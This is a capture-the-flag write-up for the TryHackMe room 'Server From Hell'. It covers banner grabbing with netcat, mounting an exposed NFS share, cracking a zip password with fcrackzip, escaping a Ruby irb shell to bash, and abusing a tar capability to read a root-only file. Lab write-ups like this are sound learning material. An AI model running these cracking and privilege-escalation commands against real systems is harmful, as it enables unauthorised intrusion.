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161 lines
3.4 KiB
Markdown
161 lines
3.4 KiB
Markdown
# TryHackMe-Server From Hell
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> Abdullah Rizwan | 05:54 PM | 3rd November ,2020
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## NMAP
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```
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Not shown: 94 closed ports
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PORT STATE SERVICE VERSION
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1/tcp open tcpmux?
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| fingerprint-strings:
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| NULL:
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|_ 550 12345 0000000000000000000000000000000000000000000000000000000
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3/tcp open compressnet?
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| fingerprint-strings:
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| NULL:
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|_ 550 12345 0000000000000000000000000000000000000000000000000000000
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4/tcp open unknown
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| fingerprint-strings:
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| NULL:
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|_ 550 12345 0000000000000000000000000000000000000000000000000000000
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6/tcp open unknown
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........
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There were many ports open in this box so can't really show how many ports were there
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```
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Looking at the description of the room it says about starting from `1337` ,so
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## PORT 1337
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`nc IP:1337`
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```
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Welcome traveller, to the beginning of your journey
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To begin, find the trollface
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Legend says he's hiding in the first 100 ports
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Try printing the banners from the ports
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```
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This is the message we get when we connect to port 1337
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I made a simple script to go over 100 ports and connect to it to grab banner
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```
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i=1
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while [ $i -ne 100 ]
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do
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nc 10.10.173.96 $i
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i=$(( $i + 1 ))
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done
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```
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<img src="https://imgur.com/X2RBWne.png"/>
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## PORT 12345
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```
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nc 10.10.173.96 12345
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NFS shares are cool, especially when they are misconfigured
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It's on the standard port, no need for another scan
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```
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## PORT 2049
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The default port of `nfs` share is 2049 so lets see if there are any shares that we can mount on our local machine
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<img src="https://imgur.com/ZsfnVwC.png"/>
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Now let's mount that share
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<img src="https://imgur.com/SDYKjPV.png"/>
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We only find a `backup.zip`
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<img src="https://imgur.com/VVLeFOp.png"/>
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But it asks for a password
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<img src="https://imgur.com/PdxqCba.png"/>
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### Fcrackzip
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Now lets use this to bruteforce archive's password
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```
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fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
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PASSWORD FOUND!!!!: pw == zxcvbnm
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```
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<img src="https://imgur.com/mqLJMVD.png"/>
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But I can't get to extract the files becasue `read-only file system` , so I used GUI to view what was in these files
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<img src="https://imgur.com/0aJE2Xt.png"/>
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And I was able to grab the flag,hint and ssh private key.
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Now `hint.txt` says
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```
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2500-4500
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```
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I tried to ssh into the box using `hades` private but ssh port was not on 22
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<img src="https://imgur.com/PfSORcz.png"/>
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From the results of the scan I searched for ssh with openssh client
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<img src="https://imgur.com/mgG3s7s.png"/>
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And was logged in :D
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<img src="https://imgur.com/2j3o2wy.png"/>
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```
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Welcome to hell. We hope you enjoy your stay!
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irb(main):001:0> puts 'hello'
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hello
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=> nil
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irb(main):002:0>
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```
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Now this `irb` is interactive ruby shell just like we get in python so in order to get a `/bin/bash` shell run
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```
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exec '/bin/bash'
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```
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<img src="https://imgur.com/TagPPFG.png"/>
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## Privilege Escalation
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Now the room gives us a hint about `getcap` this command tells that which file or binary has capability to access almost anything on the system so run
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`getcap -r 2>/dev/null` (2>/dev/null ,here 2 just redirects Standard output error to null )
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```
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hades@hell:~$ getcap -r / 2>/dev/null
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/usr/bin/mtr-packet = cap_net_raw+ep
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/bin/tar = cap_dac_read_search+ep
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```
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Visiting `GTFOBINS`
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https://gtfobins.github.io/gtfobins/tar/
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```
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hades@hell:~$ tar xf /root/root.txt -I '/bin/sh -c "cat 1>&2"'
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thm{w0w_n1c3_3sc4l4t10n}
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hades@hell:~$
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```
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